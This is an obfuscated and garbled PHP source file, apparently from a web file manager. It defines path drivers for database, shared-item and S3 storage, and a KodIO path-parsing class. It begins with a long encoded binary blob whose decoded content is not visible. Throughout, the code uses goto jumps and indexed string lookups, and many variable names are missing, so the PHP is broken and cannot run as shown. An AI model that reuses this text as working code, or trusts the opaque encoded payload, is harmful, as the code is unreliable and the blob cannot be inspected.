4\72\347\54\212\47\266\211\115\246\52\363\116\102\207\305"."\xfe\xf\x1b\x62\x9a\xb9\x91\xb2\x4\x87\x76\x2c\xc2\x7a\xc3\x4d\xa2\xf1\xcb\x45\xf9\x3e\x53\x1e\x75\x42\xcf\xf1\x75\x29\xfa\x5c\x2b\x55\x44\x78\xd0\x7e\x44\xb7\xcb\xdf\x7f\xa3\xc5\xff\x6f\xa\xd2\xcc\x84\xe4"."\323\326\131\111\171\203\54\67\377\24\262\34\176\332\56\143\16\71\337\160\305\51\356\307\354\34\317\330\111\53\214\270\61\220\37\336\163\26\362\224\275\40\245\220\347\267\25\104\214\140\356\261"."\x29\xf\xdb\xe8\x12\x60\xe9\xd3\x93\xe8\x4f\x37\xfc\x32\x6e\xe8\x6e\x4\xa5\x73\xf0\xc9\x5a\x8e\x8a\xc1\x8c\x91\x4d\x17\xb9\x91\x96\x48\x68\xd7\x85\xf6\x81\x94\x42\x84\xa5\xa0\x31\x2f\xfa\xe4\x99\xcb\x16\x46".strrev('(fDyELUE~&i,TxBX'."\0".'fx:fķΡGb/J').base64_decode('k2kI03y+50kA7J3QtIc8YknpovtVLGl9cvIrlxbukSEva/ZqWbAodFy2K6Itm85YigOMJg==').base64_decode('+bVCQZyPyBwY/eu4Rw15nck2lfgUUakRQ0LgoHRmSRPh/LKUD9NzGkdqUdpMyt6h6dmNuA==')."\x8e\xb\xe0\xa8\x9d\x1d\xf4\xb0\x16\x6\x50\xae\x92\x1d\xa0\x73\xbd\x3b\xa2\x4f\x7c\xcf\xed\x2f\x3f\x70\xc7\xc6\x68\x40\x61\xc8\xb3\xf7\xc2\x26\x85\x38\xf8\x90\x77\x7b\x0\xa0\xcc\x55\x4\xaa\x38\x16\x36\x46"."\x2d\x24\x72\xd3\x67\x43\x9\xe5\x90\x29\xdc\x67\xa4\x4a\x2f\xb8\xc1\xf3\xa4\x95\x1e\x64\xa3\x2b\x81\xfc\xb4\xe8\x7d\x7c\xe7\x84\xe3\x42\x56\x90\xfd\x22\x9\x13\x1d\xf7\xcb\xa1\xe5\xaf\xa0\xb2\x17\x4f\xd9\x52"."\x82\xe7\x4e\x2b\xbc\x61\x3a\xee\x13\xa8\x1e\x71\xf3\xfa\xb3\xde\x79\x13\xf7\x7c\x9d\xaf\xd9\xe3\x7e\x70\x49\x83\x6f\x4e\xca\xf6\x37\xee\xad\xd\x1f\x56\x57\x81\xb8\x7b\x90\x93\x66\xb9\x12\x5a\x98\x24\x38\x1e".strrev('d[ۜl\'ivvAB?fhOs^:Ȼ0αY~iW'."\r".'zh')."\330\156\60\303\201\273\210\41\213\313\177\324\347\162\31\303\130\226\113\117\231\72\175\266\254\101\21\123\50\16\167\301\217\12\234\121\203\314\43\220\102\161\242\241\302\34\75\313\253\237\144\72".base64_decode('L9qUP0rs4gj/3YIRmxEKKtnulr/bXjYCBE8lCzKJQbrsgExsmmOJVUdZoniK2PktKk5U6A==')."\x87\xc4\x7\xc5\x62\xa1\xcf\xca\x9a\x59\xbc\x91\xcf\xe1\x3\x2\xbb\xa8\x39\xf7\xa7\x95\xb6\x61\x64\x24\xd8\x9e\xf\xeb\x78\x45\xcc\x69\x29\x5\x2a\x1b\x91\x2d\xed\xd3\xe4\x1a\x6d\xd3\xad\x6f\xc2\xc5\x31\x9f".base64_decode('JLrTWD4LbBy7pRCrTaJE/8UEsi0X3Z0JEzHcfcdO3TkK/pMZmanwhLBkQPMZfaCSH99qeg==')."\x35\xdb\x2b\x21\xa7\xa4\xaf\xd4\xed\x18\x99\x6c\x20\x17\x62\x47\xec\xec\xb7\xab\x7a\x54\x4c\xd4\xd1\xe3\x51\xc6\x3\x2a\x17\xff\xa4\x97\x86\x85\x2b\x44\x49\xf0\xc3\xa5\xd9\xa5\xf2\x71\x14\xa\xe4\x4e\xb3\x53"."\204\222\37\102\45\27\202\205\317\36\262\164\35\313\130\362\253\56\137\250\45\25\311\353\243\274\152\351\131\131\241\206\42\172\53\350\21\54\156\142\121\101\232\31\130\300\257\143\153\222\275\237".base64_decode('UzcGwp70JjoaPunZcFMOS88VI54QY1cqUHMc21oUb3E9KU/ol/udeTZmhGgIeihd83dsnQ==')."\370\113\233\216\255\224\345\176\156\27\211\206\216\27\111\322\145\57\224\3\341\44\227\352\350\327\44\326\53\270\254\10\105\113\71\21\221\64\314\144\377\305\63\35\336\20\260\303\77\27\215\140"."\76\26\54\327\53\334\324\121\70\15\263\155\302\377\372\245\331\377\127\17\314\116\257\147\147\1\216\207\351\27\200\260\16\255\305\7\256\134\367\101\365\320\256\176\70\331\353\4\300\42\64\370".strrev('#w`j"WFO#e7bVlƤ̏3HTAA')."\70\255\122\61\371\15\142\104\130\12\22\115\44\165\241\24\251\26\156\164\10\300\154\243\303\266\143\25\26\4\115\142\122\267\40\156\171\43\65\120\341\124\236\230\337\72\137\10\220\244\234\62"."\x30\xd1\x7c\x24\xc\x31\xb7\x9c\x7e\x16\x4a\xe1\x7d\x28\x71\x41\x3\xd3\x20\xbb\x9\x88\x15\xd8\x8e\xb5\x16\xd8\x49\xcf\xc9\x8c\xec\x11\xd7\x24\x40\xfd\x64\x8a\xe7\x48\x2a\xa3\x93\x49\xc7\xe4\x3a\x12\xe5\x79".base64_decode('E8TMx/DCUaLd9UQyBbLksXUcRJQbaZSX5gRFLoIvBjh1bnhaccO89V5XQoPXVR1/Jdq5aA==')."\34\317\26\123\303\26\264\322\342\130\267\302\164\154\344\54\213\34\152\173\313\313\320\5\222\20\60\343\54\321\312\204\202\67\112\350\31\161\110\36\17\106\160\72\212\46\221\70\235\251\134\337"."\44\31\142\247\44\145\256\133\210\244\311\223\174\145\354\217\321\136\307\114\141\113\100\161\206\232\214\305\103\352\222\60\166\151\21\76\65\324\311\234\61\33\46\171\201\204\125\331\331\136\103\156"."\305\301\2\100\333\241\126\123\240\222\216\250\242\244\131\26\36\205\355\134\41\310\117\174\235\167\253\245\33\30\314\237\227\254\353\164\2\343\153\64\316\265\70\257\22\130\312\54\132\262\73\116"."\107\46\226\337\114\224\33\147\33\362\316\74\132\310\172\312\326\323\12\226\4\34\233\203\256\151\365\123\173\76\253\26\224\317\41\247\175\16\44\354\122\22\123\275\314\150\230\301\124\54\147\122".base64_decode('/zuV8hBuJmwHEonna9zP1rQ6fFs1SrpXhXj5gveLxpmbqBkUMoorD5OG8XPxNpcfa7PXTg==')."\260\101\236\37\73\1\303\267\76\374\4\377\100\145\276\114\315\251\314\76\11\53\27\204\212\210\120\334\362\315\45\174\311\56\216\304\212\361\34\277\354\101\324\102\124\323\343\120\370\200\31\202"."\234\44\35\313\243\135\133\332\371\20\31\311\44\311\314\353\67\324\40\35\54\73\317\365\371\175\331\62\106\132\62\42\122\66\51\305\274\307\242\137\174\365\77\54\134\60\221\154\172\70\26\30"."\324\270\227\63\167\251\116\307\216\130\262\2\110\21\12\21\52\77\350\25\347\317\222\30\312\212\341\55\265\220\20\134\351\22\105\25\74\117\33\24\102\265\330\324\245\323\255\332\140\5\320\264".base64_decode('7vZSh1I4KBHKJZ8d4gaOPiR/HeDEBRkHYHmq8OkhlReHe6KbOK1S9wmFcxaXfYZwpBJJ9A==')."\x41\x27\x6e\x32\x23\x6d\xa0\xb1\x4d\x91\xb0\xa5\xa1\x5d\xe1\x7a\x22\xf1\x49\xa7\x87\x12\xe\xc6\xe7\xc\xc1\x90\x1b\x7c\x5e\x47\xaa\x4b\x25\x80\x55\x72\x4c\xa0\x74\x65\x81\x92\x4a\xaa\xbe\xa2\x2e\x4b\x42\x1"."\75\33\221\252\223\17\376\307\55\220\250\374\21\201\225\316\41\226\134\273\210\14\46\262\230\216\301\227\170\26\357\30\100\306\345\114\107\163\334\123\113\166\260\2\175\151\142\216\234\17\320\274"."\x80\x33\x8b\xc2\xeb\xae\xd6\xcb\x5\xdc\x3d\xa3\x25\x1c\x6f\x10\xca\xe9\x43\x86\x9d\xca\x48\xdb\xed\xf2\xcc\xf2\xf4\x62\xd9\x60\x43\x3\x2a\xf7\xc3\xdd\x5a\x36\xd6\x6e\x25\x84\xa8\xa4\xac\x3d\x92\x55\x51\xd2"."\254\120\206\266\250\142\61\232\205\113\212\135\216\243\354\70\103\200\313\322\54\134\266\54\233\25\56\33\127\122\316\326\112\326\70\335\53\37\74\120\152\245\53\164\130\250\176\44\320\361\306\263".base64_decode('InD55wAT3dBEC1a5FUJ55bLjqNSKisDjtsINLWQOvJWtlOMwhnJylEp0m+VUoNSUCo1rJQ==')."\x25\x2c\x87\xca\x59\x86\xc8\xab\x60\xc7\x44\x3f\x89\xa5\x1f\xd9\x1d\x64\x85\x6c\xd9\x28\xaa\xb2\xd9\x54\xbc\x22\x95\xb1\x9c\xf6\x4c\xae\x74\x79\x80\xc0\x61\x39\x48\xd0\x80\xc0\x48\x4\xcb\x1a\x3\xc2\x5e\x94"."\x5d\x17\x99\xe4\x60\x25\xa5\xfc\x40\xde\xe4\xec\x29\x2d\xcc\x81\xb1\xe4\x14\x28\xba\xc7\xb9\xac\x36\x27\xea\xe7\x4b\x92\xeb\xf8\x8a\xb7\x57\x3c\x58\xc3\x54\xae\xcb\xc9\x6a\xfc\x1a\xa1\x30\xa9\xa3\x7b\x66\xd3"."\x36\x52\xba\xd3\x3f\xbd\xec\x15\x92\xe6\xb3\x8f\x64\x25\x7d\xb6\x4b\x95\x2c\xf4\x5d\xe\xcb\x9a\xa\xa\x56\x92\x4\x12\xb3\x38\xd5\xa1\xf5\x49\xc2\x91\xc0\x9\xc7\xe5\x32\x2a\x92\xc0\x61\x18\x3d\x57\xf\x62"."\x63\xf\x7e\xa2\x4a\x9c\xa4\x53\x16\x4e\xb3\x13\x66\xd1\xf6\xe0\xbc\xa4\x59\x20\xbf\xcd\xa6\x6d\xb\x33\x15\xaa\x60\x22\x62\x36\xe6\xc3\x1e\xc9\xa\xb\x85\xc4\xf1\x29\x6e\x14\x39\x87\x23\x68\x4b\x28\x16\x9".base64_decode('wgk/1twkdJpL6Jwjgs/3eERms3DS31py2SKIhAEz3WsOM1eMCK+kQRIngJpbthRiEaCibA==')."\123\106\134\231\130\176\232\343\207\307\220\274\244\16\170\303\324\267\242\320\357\50\116\137\205\344\26\341\237\125\3\234\2\210\52\350\113\50\104\45\13\227\337\22\311\104\131\126\107\40\221\130".base64_decode('Eou30IdTyrJJKclyryyroy0WHS8v1B4IR8rysJFfVBVOPWlWuIO0khxij9eKcHChaEm5Lw==')."\x55\x76\xe8\x16\x81\x67\x2e\xc5\xbc\x48\x87\x50\x85\x8c\xc9\xce\x96\x18\x7c\x42\xcb\x32\x65\x90\x74\x48\xa1\xe7\x84\xd7\x57\x51\xc6\xa9\xe3\x92\xe7\xdf\x62\xee\x99\x79\xc0\xf9\x5a\xa1\xcb\xe6\x96\x21\x36\x54"."\204\115\366\242\120\167\274\0\251\370\301\31\116\37\270\234\57\354\106\174\16\373\22\51\235\254\41\102\224\44\334\224\371\75\111\250\253\70\100\362\241\105\371\201\32\311\25\3\200\33\166\212".strrev(''."\0".''."\0".'ꕈa-JuAfh[lId:^+V ').strrev('')."".""."", 10, -8))); goto dϝ; d͘: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($ש) { $this->pathParse = $ש; $this->model = Model($_SERVER[][1411]); } public function getPath($ɓ) { return trim($ɓ, $_SERVER[][8]); } public function pathFather($) { $湺 = $this->parse($); $湺 = $this->infoSimple($); return $湺 ? $湺[$_SERVER[][192]] : !1; } public function pathThis($ᚘۻ) { $ = $this->infoSimple($ᚘۻ); return $ ? $[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $Χ = $this->parse($); return KodIO::make($Χ[$_SERVER[][475]]); } public function copyFolderFromIO($ݴ, $³, $벡, $, $朹) { $ޜ = $this->model->copyFolderFromIO($ݴ, $³, $벡, $, $朹); return KodIO::make($ޜ); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $描 = REPEAT_RENAME) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[475]]; for ($ٶ = 0; $ٶ < count($[$[1412]]); $ٶ++) { $ = $[$[1412]][$ٶ]; if ($ٶ == count($[$[1412]]) - 1) { $ = $this->model->mkfile($, $, $, $描); break; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $ĺ =& $_SERVER[]; $ = $this->parse($); $ = $[$ĺ[475]]; for ($θ = 0; $θ < count($[$ĺ[1412]]); $θ++) { $ = $[$ĺ[1412]][$θ]; $ = $this->model->mkdir($, $, $); } return $this->getPathOuter($); } public function copyFile($䮵, $̰, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($̰); $鷱 = $this->model->copy($䮵, $[$[475]], $, $[$[87]]); return $鷱 ? $this->getPathOuter($鷱) : !1; } public function moveFile($, $řۉ, $ݬ = REPEAT_REPLACE) { $坳 =& $_SERVER[]; $ = $this->parse($řۉ); $Ԡ = $this->model->move($, $[$坳[475]], $ݬ, $[$坳[87]]); return $Ԡ ? $this->getPathOuter($Ԡ) : !1; } public function copy($ӆ, $, $ = REPEAT_REPLACE, $ݵ = false) { $ = $this->parse($); $ = $this->model->copy($ӆ, $[$_SERVER[][475]], $, $ݵ); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($ɋ, $Ţ, $ = REPEAT_REPLACE, $О = false) { $ȸ = $this->parse($Ţ); $ = $this->model->move($ɋ, $ȸ[$_SERVER[][475]], $, $О); return $ ? $this->getPathOuter($) : !1; } public function remove($ٕ, $ = true) { return $this->model->remove($ٕ, $); } public function rename($ǣ, $ܾԐ) { $ = $this->model->rename($ǣ, $ܾԐ); return $ ? $this->getPathOuter($ǣ) : $; } public function size($) { $ß = $this->infoSimple($); return $ß ? $ß[$_SERVER[][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($ܭ) { return $this->infoParse($ܭ); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($ہ) { return $this->infoParse($ہ, !0); } protected function infoParse($Ȝ, $ = false, $־ = false) { if (!$) { return $this->model->pathInfo($Ȝ, $־); } return $this->model->pathInfoMore($Ȝ); } public function infoFullSimple($̺) { $ݹƱ =& $_SERVER[]; $Ϗ = explode($ݹƱ[8], $̺); $ = implode($ݹƱ[8], array_splice($Ϗ, 1)); return $this->model->pathInfoByPath($Ϗ[0], $); } public function infoFull($ѷ) { $İ = $this->infoFullSimple($ѷ); return is_array($İ) ? $this->model->pathInfo($İ[$_SERVER[][193]]) : !1; } public function hashSimple($) { $ך =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$ך[170]][$ך[672]]; } public function hashMd5($) { $ =& $_SERVER[]; $Ͳ = $this->infoWithChildren($); return $Ͳ[$[170]][$[547]]; } public function exist($ؓͫ) { $чȊ =& $_SERVER[]; $ſ = $this->parse($ؓͫ); if (!$ſ[$чȊ[87]]) { return $this->isFile($ؓͫ) || $this->isFolder($ؓͫ); } $ٲڕ = array($чȊ[477] => $ſ[$чȊ[475]], $чȊ[32] => $ſ[$чȊ[87]]); $ߩ = $this->model->where($ٲڕ)->find(); return $ߩ ? !0 : !1; } public function isFile($꾳) { $ =& $_SERVER[]; $҃ = $this->infoSimple($꾳); return $҃ && $҃[$[485]] == $[228] ? !0 : !1; } public function isFolder($û) { $݊կ =& $_SERVER[]; $褛İ = $this->infoSimple($û); return $褛İ && $褛İ[$݊կ[485]] == $݊կ[91] ? !0 : !1; } public function listPath($, $ْއĿ = false) { $哖 =& $_SERVER[]; if ($ == $哖[12]) { return !1; } $ = array($哖[477] => $); if ($ْއĿ) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $̠ = $this->infoWithChildren($); if ($) { return array($[240] => $̠[$[240]], $[239] => $̠[$[239]]); } return $ ? $̠[$[240]] : $̠[$[239]]; } public function listAll($ӵ) { $ȶ = IO::info($this->pathParse[$_SERVER[][87]]); if (!$ȶ) { return array(); } return $this->model->listAll($ӵ); } public function getContent($Є) { return $this->model->getContent($Є); } public function setContent($džݦ, $ۂ = '') { return $this->model->setContent($džݦ, $ۂ); } public function fileSubstr($, $Ӄ, $) { return $this->model->fileSubstr($, $Ӄ, $); } public function download($, $ = '') { $φ = get_path_father($); $֟ = get_path_this($); $ˉϦ = $this->model->fileInfoGet($); $ȃ = IO::copy($ˉϦ[$_SERVER[][87]], $φ, !1, $֟); return $ȃ; } public function setModifyTime($, $ = '') { $ǒ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($ǒ[491] => $))->save(array($ǒ[88] => $)); } public function upload($, $, $ʲ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ɸ = $this->parse($); $˿λ = $this->model->addFile($ɸ[$[475]], $, $ɸ[$[87]], $ʲ, $); return $this->getPathOuter($˿λ); } public function uploadFileByID($, $Ӗ, $) { $ =& $_SERVER[]; $ = $this->parse($); $݄ = $this->model->addFileByFileID($[$[475]], $Ӗ, $[$[87]], $); return $this->getPathOuter($݄); } public function addFileByRemote($Ǧ˰, $顎, $ = array(), $٢ = '', $ܰ) { $ܠ =& $_SERVER[]; $Ç = $this->parse($Ǧ˰); $٢ = empty($٢) ? $Ç[$ܠ[87]] : $٢; $ = $this->model->addFileByRemote($Ç[$ܠ[475]], $顎, $٢, $, $ܰ); return $this->getPathOuter($); } public function uploadLink($奘Џ, $à = 0) { $է =& $_SERVER[]; $⠛ = $this->parse($奘Џ); $ш = _get($GLOBALS[$է[7]], $է[1413]); $ = _get($GLOBALS[$է[7]], $է[1414]); $奘Џ = Model($է[674])->createFileName($⠛[$է[87]], $ш, $); return IO::uploadLink($奘Џ, $Ã); } public function fileNameAuto($ߠ, $Ζڿ, $ = REPEAT_REPLACE, $⼓ = false) { return $this->model->fileNameAuto($ߠ, $Ζڿ, $, $⼓); } public function fileNameExist($ߕ, $) { return $this->model->fileNameExist($ߕ, $); } protected function _fileOut($狌, $ = false, $ = false, $̳ = '', $ı = false) { $ֵ =& $_SERVER[]; $ = $this->model->sourceInfo($狌); if ($[$ֵ[485]] == $ֵ[91]) { header($ֵ[1415]); die; } $Èկ = $this->model->fileInfoGet($狌); $̳ = $Èկ[$ֵ[547]] ? $Èկ[$ֵ[547]] : $̳; $ = isset($GLOBALS[$ֵ[182]]) && is_array($GLOBALS[$ֵ[182]]) ? $GLOBALS[$ֵ[182]][$ֵ[32]] : $[$ֵ[32]]; if ($ı) { return IO::fileOutServer($Èկ[$ֵ[87]], $, $, $̳); } IO::fileOut($Èկ[$ֵ[87]], $, $, $̳); } public function fileOut($, $ = false, $ = false, $멜 = '') { $this->_fileOut($, $, $, $멜); } public function fileOutServer($, $ = false, $ʖ = false, $ = '') { $this->_fileOut($, $, $ʖ, $, !0); } protected function _fileOutImage($, $ = 250) { $͐ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($[$͐[485]] == $͐[91]) { show_json($͐[1416] . $, !1); } $ = $this->model->fileInfoGet($); $[$͐[183]] = $[$͐[87]]; $GLOBALS[$͐[182]] = $; IO::fileOutImage($[$͐[87]], $); } public function fileOutImage($, $۵ = 250) { $this->_fileOutImage($, $۵); } public function fileOutImageServer($ɒ, $Ť = 250) { $this->_fileOutImage($ɒ, $Ť); } public function link($Ɛ, $ɇ = '') { $Ä = $this->model->fileInfoGet($Ɛ); return IO::link($Ä[$_SERVER[][87]], $ɇ); } protected function parse($ފ) { $ =& $_SERVER[]; if (strstr($ފ, $[8]) === !1) { return array($[493] => intval($ފ), $[87] => $[12], $[1412] => array()); } $݃ = explode($[8], trim($ފ, $[8])); if (count($݃) < 2) { show_tips(clear_html($ފ) . $[1417]); } return array($[493] => intval($݃[0]), $[87] => $݃[1], $[1412] => array_slice($݃, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1411]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[475]], $[$[475]]), $[8]); } protected function infoParse($, $ƞ = false, $ = false) { $暢 =& $_SERVER[]; $ō = $this->pathParse[$暢[475]]; $㪇 = trim($this->pathParse[$暢[1243]], $暢[8]); return Action($暢[1418])->sharePathInfo($ō, $㪇, $ƞ); } public function infoFull($Ѝ) { $şů =& $_SERVER[]; $ = explode($şů[8], trim($Ѝ, $şů[8])); if (count($) > 1) { $ = implode($şů[8], array_splice($, 1)); $ = $this->model->pathInfoByPath($[0], $); if (!$) { return !1; } $this->pathParse[$şů[1243]] = $[$şů[193]]; } return $this->infoParse($Ѝ); } public function listAll($짨) { $Ω =& $_SERVER[]; $Ε = IO::info($this->pathParse[$Ω[87]]); if (!$Ε) { return array(); } $ = $this->model->listAll($짨); $㔻 = Model($Ω[664])->getInfo($Ε[$Ω[665]]); foreach ($ as &$) { check_abort(); $[$Ω[90]] = Action($Ω[1418])->_shareItemeParse($[$Ω[90]], $㔻); } unset($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($Ġ) { $this->pathParse = $Ġ; $this->model = Model($_SERVER[][1411]); } protected function infoParse($ϰ, $Ϫ = false, $݈ = false) { $ =& $_SERVER[]; return Action($[1249])->sharePathInfo($this->pathParse[$[87]], !0, $Ϫ); } public function listPath($ȅ, $검 = false) { $ =& $_SERVER[]; $ = parent::listPath($ȅ, $검); if (!$) { return $; } if (is_array($[$[1419]])) { $[$[1419]] = Action($[1249])->shareItemInfo($[$[1419]]); } foreach ($ as $ => $) { if (!in_array($, array($[86], $[85]))) { continue; } foreach ($ as $ܭ => $ԧ) { $[$][$ܭ] = Action($[1249])->shareItemInfo($ԧ); } } return $; } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87]]); if (!$) { return array(); } $ɴ = $this->model->listAll($); foreach ($ɴ as &$) { $[$[90]] = Action($[1249])->shareItemInfo($[$[90]]); } unset($); return $ɴ; } } goto a; bȠ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($Ĕ) { parent::__construct($Ĕ); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $Ě = $[229]; $ = $[270]; $ = $[62]; $ԓ = gmdate($[271]); $ʍ = gmdate($[272]); $ = $[273]; $ӄ = $ . $[12]; $ = $[274]; $Լ = array($this->accessKey, $ʍ, $this->region, $, $); $ = implode($[8], $Լ); $峖 = array($[275] => gmdate($[299], strtotime($[277])), $[278] => array(array($[279] => $this->bucket), array($[280] => $Ě), array($[281], $[282], $[12]), array($[281], $[283], $[12]), array($[281], $[284], $[12]), array($[285] => $), array($[286] => $), array($[287] => $), array($[288] => $ԓ), array($[289] => $ӄ))); $ = base64_encode(json_encode($峖)); $ = hash_hmac($[290], $ʍ, $[291] . $this->secret, !0); $ = hash_hmac($[290], $this->region, $, !0); $݆ = hash_hmac($[290], $, $, !0); $ƪ = hash_hmac($[290], $, $݆, !0); $ = hash_hmac($[290], $, $ƪ); $т = array($[246] => $[12], $[292] => $[12], $[280] => $Ě, $[285] => $, $[293] => $, $[294] => $, $[295] => $, $[296] => $ԓ, $[297] => $ӄ, $[298] => $, $[208] => $this->getHost()); return $т; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = gmdate($[300]); $ = array(); $ŗ = $this->client->getUploadId($this->bucket, $, $); if (!$ŗ) { return !1; } return array($[254] => $ŗ, $[208] => $this->getHost() . $[8] . $this->pathEncode($), $[255] => $, $[97] => $); } public function multiUploadAuthData($Ǝ, $Ȝ = array()) { $˼ =& $_SERVER[]; $ = isset($Ȝ[$˼[169]]) ? $Ȝ[$˼[169]] : $˼[12]; $ʺά = $Ȝ[$˼[97]]; unset($Ȝ[$˼[97]]); if (isset($Ȝ[$˼[256]])) { return $this->listUploadParts($ʺά, $Ȝ); } $ = array(); if (isset($Ȝ[$˼[301]])) { $[$˼[302]] = $Ȝ[$˼[301]]; } $ = explode($˼[210], $this->getHost()); $ε = array($˼[303] => $[1], $˼[304] => $˼[12], $˼[246] => $˼[123], $˼[292] => $Ȝ[$˼[79]]); $Ǽȿ = $˼[259]; $資 = $˼[8] . $this->pathEncode($ʺά) . $; $ = $this->client->__getSignatureV4($, $ε, $Ǽȿ, $資); if (strpos($, $˼[258]) === 0) { if (isset($[$˼[302]])) { $ё = $[$˼[302]]; } else { if (isset($[$˼[302]])) { $ё = $[$˼[302]]; } else { $ё = hash($˼[290], $˼[12]); } } return array($˼[265] => $[$˼[265]], $˼[302] => $ё, $˼[255] => $[$˼[305]]); } return $[$˼[265]]; } public function listUploadParts($, $ = array()) { $ҡΡ =& $_SERVER[]; $˝ = str_replace($ҡΡ[266], $ҡΡ[12], $[$ҡΡ[169]]); $Ϝ = $this->client->listParts($this->bucket, $, $˝); if (!$Ϝ) { return !1; } $ = $ҡΡ[306]; foreach ($Ϝ as $ъ) { $ .= $ҡΡ[307] . "\x3c\x50\141\x72\x74\x4e\x75\x6d\x62\x65\x72\76{$ъ[$ҡΡ[308]]}\x3c\57\120\x61\x72\x74\x4e\165\x6d\x62\x65\x72\x3e\xa" . "\74\x45\x54\x61\147\76{$ъ[$ҡΡ[309]]}\74\57\x45\124\x61\147\x3e\12" . $ҡΡ[310]; } $ .= $ҡΡ[311]; $墽 = array(); $ۻ = explode($ҡΡ[210], $this->getHost()); $ = array($ҡΡ[303] => $ۻ[1], $ҡΡ[246] => $ҡΡ[123], $ҡΡ[292] => strlen($)); $ = $ҡΡ[257]; $ = $ҡΡ[8] . $this->pathEncode($) . $[$ҡΡ[169]]; $Ģ = $this->client->__getSignatureV4($墽, $, $, $, $); return array($ҡΡ[265] => $Ģ[$ҡΡ[265]], $ҡΡ[255] => $Ģ[$ҡΡ[305]], $ҡΡ[267] => $Ϝ, $ҡΡ[302] => $Ģ[$ҡΡ[302]]); } public function link($ɿ, $Ӳ = array()) { return parent::link($ɿ, $Ӳ); } public function fileOut($, $ = false, $愨 = false, $ؕ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][312])) { return parent::fileOutServer($, $, $愨, $ؕ); } parent::fileOut($, $, $愨, $ؕ); } public function fileOutImage($Ǒ, $Ғ = 250) { if (strstr($this->endpoint, $_SERVER[][312])) { return parent::fileOutImageServer($Ǒ, $Ғ); } parent::fileOutImage($Ǒ, $Ғ); } public function fileOutLink($) { $֞ =& $_SERVER[]; if (substr($, 0, 7) == $֞[313]) { $ = $֞[314] . substr($, 7); } header($֞[175] . $); die; } } define($_SERVER[][315], 1); define($_SERVER[][316], 2); goto C; BӪ̾: class KodIO { const KOD_SOURCE = "\x7b\163\157\165\162\143\x65\x7d"; const KOD_USER_RECYCLE = "\173\165\x73\145\x72\122\x65\x63\171\143\154\x65\175"; const KOD_USER_FAV = "\x7b\x75\x73\x65\162\x46\x61\166\x7d"; const KOD_USER_FILE_TAG = "\173\165\x73\x65\162\x46\151\x6c\145\x54\141\x67\175"; const KOD_USER_FILE_TYPE = "\173\x75\163\x65\x72\x46\151\x6c\x65\124\171\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\x67\162\x6f\165\x70\x52\157\x6f\164\x53\145\154\146\175"; const KOD_USER_SHARE = "\173\165\163\x65\x72\x53\x68\x61\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\165\x73\x65\162\x53\150\x61\162\145\114\x69\156\153\x7d"; const KOD_USER_SHARE_TO_ME = "\173\x73\x68\141\x72\x65\124\x6f\x4d\x65\175"; const KOD_SHARE_ITEM = "\173\x73\x68\x61\162\x65\x49\x74\x65\x6d\175"; const KOD_SHARE_LINK = "\173\163\x68\141\x72\145\111\x74\x65\x6d\114\151\156\x6b\x7d"; const KOD_SEARCH = "\x7b\163\x65\x61\x72\x63\150\175"; const KOD_BLOCK = "\x7b\x62\x6c\x6f\143\153\175"; const KOD_IO = "\173\x69\157\x7d"; const KOD_USER_RECENT = "\173\165\163\x65\x72\122\145\156\x63\x65\x6e\x74\175"; const KOD_USER_DRIVER = "\x7b\144\x72\151\166\x65\162\x7d"; public static function typeList() { $ =& $_SERVER[]; return array($[1329] => self::KOD_SOURCE, $[1330] => self::KOD_USER_RECYCLE, $[1331] => self::KOD_USER_FAV, $[1332] => self::KOD_USER_FILE_TAG, $[1333] => self::KOD_USER_FILE_TYPE, $[1334] => self::KOD_GROUP_ROOT_SELF, $[1335] => self::KOD_USER_SHARE, $[1336] => self::KOD_USER_SHARE_LINK, $[1337] => self::KOD_USER_SHARE_TO_ME, $[1338] => self::KOD_SHARE_ITEM, $[1339] => self::KOD_SHARE_LINK, $[1340] => self::KOD_SEARCH, $[1341] => self::KOD_BLOCK, $[1342] => self::KOD_IO, $[1343] => self::KOD_USER_RECENT, $[1344] => self::KOD_USER_DRIVER); } public static function parse($̇ߑ) { $ =& $_SERVER[]; $̇ߑ = self::clear($̇ߑ); $ = array_values(self::typeList()); preg_match($[1345], $̇ߑ, $桨); $ = array($[496] => !1, $[1346] => !1, $[493] => !1, $[87] => $̇ߑ, $[1244] => !1, $[1243] => $[12]); if (is_array($桨) && count($桨) == 5) { $߸։ = $[1347] . $桨[2] . $[403]; if (in_array($߸։, $)) { $[$[1244]] = $桨[1]; $[$[33]] = $߸։; $[$[1348]] = substr($߸։, 1, -1); $[$[475]] = $桨[3]; } $[$[1243]] = $桨[4]; } $Ţ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1311]] = in_array($[$[33]], $Ţ); return $; } public static function isTruePath($ᇤ) { $ =& $_SERVER[]; if (substr($ᇤ, 0, 1) != $[1347]) { return !0; } if (strpos($ᇤ, $[483]) === 0) { return !0; } if 